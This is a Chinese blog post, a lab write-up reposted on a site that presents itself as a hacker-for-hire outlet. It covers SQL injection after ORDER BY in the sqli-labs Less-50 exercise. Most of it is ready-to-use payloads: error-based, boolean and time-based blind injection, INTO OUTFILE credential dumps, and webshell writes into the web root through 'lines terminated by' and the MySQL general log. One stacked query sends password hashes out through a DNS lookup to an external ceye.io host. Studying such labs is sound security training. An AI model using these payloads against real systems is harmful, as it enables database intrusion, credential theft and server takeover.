当前位置:首页 > 网络安全 > 正文内容

从sqli-labs Less - 50 全面分析order by后注入

访客4年前 (2021-04-15)网络安全658

从sqli-labs Less - 50 全面分析order by后注入

参考文献:

国光 Less-38

lcamry Less - 46

DNSLog在MySQL注入中的实战

Dnslog在SQL注入中的实战

Less-50

请求方式注入类型拼接方式GET报错、布尔盲注、延时盲注、堆叠注入ORDER BY $id

$id=$_GET['sort']; $sql="SELECT * FROM users ORDER BY $id"; if (mysqli_multi_query($con1, $sql)) 输出查询信息 else print_r(mysqli_error($con1));

和Less-46相比,查询方式由mysql_query变成了mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。

order by不同于where后的注入点,不能使用union等进行注入。

SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr] ... [into_option] [FROM table_references [PARTITION partition_list]] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [into_option] [FOR UPDATE | LOCK IN SHARE MODE] into_option: { INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name] ... }

可以利用order by后的一些参数进行注入

比如

ASC | DESC LIMIT PROCEDURE INTO OUTFILE 'file_name' INTO DUMPFILE 'file_name'

查询语句为

SELECT * FROM users ORDER BY $id

order by后的数字可以作为一个注入点。也就是构造order by后的一个语句,让该语句的执行结果为一个数。该语句有三种形式

1.直接添加注入语句

?sort=(select ****)

2.利用rand()函数

?sort=rand(sql语句)

3.利用and

?sort=1 and (sql语句)

其中,sql语句可以利用报错注入和延时注入的方式。

验证方式:

升序和降序验证

# 升序排序 ?sort=1 asc # 降序排序 ?sort=1 desc

rand()验证

rand(true)和rand(false)的结果是不一样的

?sort=rand(true) ?sort=rand(false)

利用rand()函数可以构造出布尔和延时盲注的payload

此外rand()的结果一直都是随机的

?sort=rand()

延时验证

?sort=sleep(1) ?sort=(sleep(1)) ?sort=1 and sleep(1)

这几种方式均可以延时,延时的时间为(行数*1)秒

报错注入

and (报错注入)

?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) ?sort=0 and%20(updatexml(1,concat(0x5e24,(user()),0x5e24),1))

直接添加注入语句报错

?sort=(SELECT COUNT(*) FROM information_schema.COLUMNS GROUP BY CONCAT(0x3a,0x3a,(SELECT user()),0x3a,0x3a,FLOOR(RAND(0)*2)))

procedure analyse参数后注入

利用procedure analyse参数,也可执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

注意,procedure analyse只能在Linux下使用

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1) ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)

布尔盲注

数据库的第一位为s:

?sort=RAND(LEFT(database(),1)>'r') ?sort=RAND(LEFT(database(),1)>'s')

延时盲注

数据库第一个字母的ASCII码为115,即s

?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>114,1,sleep(1))) ?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1))) ?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)

into outfile

将查询结果导入到文件中

?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.txt"

如果导入不成功的话,很可能是因为MySQL在当前Web目录下没有读写权限造成的。

访问验证是否有信息:

C:\Users\Nawkham>curl http://127.0.0.1/less50.txt 1 Dumb Dumb 2 Angelina I-kill-you 3 Dummy p@ssword 4 secure crappy 5 stupid stupidity 6 superman genious 7 batman mob!le 8 admin admin 9 admin1 admin1 10 admin2 admin2 11 admin3 admin3 12 dhakkan dumbo 14 admin4 admin4

利用导出文件getshell

可以将lines terminated by用于order by的情况来getshell

lines terminated by可以指定每一行之间的分隔符。

?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e是<?php phpinfo();?>的十六进制编码

查看写入的文件内容:

1 Dumb Dumb<?php phpinfo();?>2 Angelina I-kill-you<?php phpinfo();?>3 Dummy p@ssword<?php phpinfo();?>4 secure crappy<?php phpinfo();?>5 stupid stupidity<?php phpinfo();?>6 superman genious<?php phpinfo();?>7 batman mob!le<?php phpinfo();?>8 admin admin<?php phpinfo();?>9 admin1 admin1<?php phpinfo();?>10 admin2 admin2<?php phpinfo();?>11 admin3 admin3<?php phpinfo();?>12 dhakkan dumbo<?php phpinfo();?>14 admin4 admin4<?php phpinfo();?>

用浏览器访问测试

堆叠注入

局限性:在Web中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。如果是在Windows平台下,可以使用DNSLog数据外带,或者开启日志Getshell的方式,来获得查询内容。

利用CEYE平台读取DNS查询日志,获得外带的数据

?sort=1;SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(password) FROM users LIMIT 1,1),'.b182oj.ceye.io\\abc'));

开启日志getshell

?sort=1;set global general_log="ON";set global general_log_file='C:/phpstudy_pro/WWW/1.php'; ?sort=1;select "<?php phpinfo();?>";

总结

如果页面会打印错误信息,则可以使用报错注入。在进行布尔盲注和延时盲注的时候,如果拼接方式有引号,只能使用and来进行报错和延时注入。如果MySQL有读写Web目录的权限,可以使用into oufile或lines terminated by这两种方法,将结果导入到一个可以访问的文件中。如果查询的SQL语句中使用了函数mysqli_multi_query,该函数可以执行多个由分号分隔的SQL语句,此时还可以进行堆叠注入。但是,堆叠注入有局限性,结果可能无法回显到前端。这时,如果是在Windows平台下,可以使用DNSLog数据外带,或者是开启日志Getshell的方式,来获取查询内容。


扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106755.html

分享给朋友:

“从sqli-labs Less - 50 全面分析order by后注入” 的相关文章

干洗对衣物有害吗

干洗对衣物有害吗 干洗剂实际上就是有机溶剂,所以对衣服多少都有点危害,只不过高级的干洗剂对衣服损伤小一些而已。 随着人们工作的繁忙和生活节奏的加快,现代人更多地把换下的衣物送到洗衣店干洗,以保证衣服不变形和有更多的时间休闲娱乐,这本是一件提高生活品质的好事,但据最新的研究显示,干洗衣物对身...

Webshell安全检测篇(1)-根据流量的检测方法

一、概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分类笔者总结如下: 前段时...

奥门币币对人民币换算 - 澳元兑换人民币汇率

在珠海拱北口岸地下商城,公布当日主要交易货币“美元、此外汇牌价汇率表仅供参考=6点0442则一元人民币换0,点04762元,很高兴为你解答。 1点2208澳门元数据对仅供参考,划算 另外,另外汇率是不断变化的,可以百度输入"澳门元对人民币汇率,货币兑换1澳元=4点。 在外面买东西的小店不是太正规的,...

二手路虎极光 「2015路虎极光二手车报价」

样子车而已论性能都有点给路2015虎家族丢脸了感觉如果选择这车还真不如选择霸道VX顶配69万那款实惠推荐其他车的话途锐很好Q7虽然多了点但是很值得考虑一下的这个价位如果讨论轿车的话上不了A8L和,公里数等。火烧。 二手车价格:41点00万,2013极光款2点0T AT圣诞限量版,车子没有。 2015...

600斤蓝鳍金枪鱼价钱,中国蓝鳍金枪鱼分布

眼不大,上身躯则是深蓝色,因此它们作为分开的种群金枪鱼来进行管理。零下60度的是380元每公斤。发布:股城消费在生活中很多人都吃过金枪鱼,美容减肥的好食物,价格不同!油脂较少。加拿大12岁女童詹娜钓上一条616磅,小鳍则是呈现微黄色。 ,蓝鳍金枪鱼是金枪鱼类中最大型的鱼种。大西洋和太平洋蓝鳍金枪鱼三...

找网上黑客盗QQ号被骗,黑客找到微信好友,黑客破解密码的例子

Cortex-R:面向实时运用的高功能内核,Cortex-R系列是衍出产品中体积最小的ARM处理器。 Cortex-R处理器针对高功能实时运用,例如硬盘操控器(或固态驱动操控器)、企业中的网络设备和打印机、消费电子设备(例如蓝光播放器和媒体播放器)、以及轿车运用(例如安全气囊、制动体系和发动机办理)...

评论列表

鸠骨孚鲸
2年前 (2022-07-10)

的十六进制编码查看写入的文件内容:1 Dumb Dumb<?php phpinfo();?>2 Angelina I-kill-you&

瑰颈饮酎
2年前 (2022-07-10)

INTO OUTFILE "C:/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。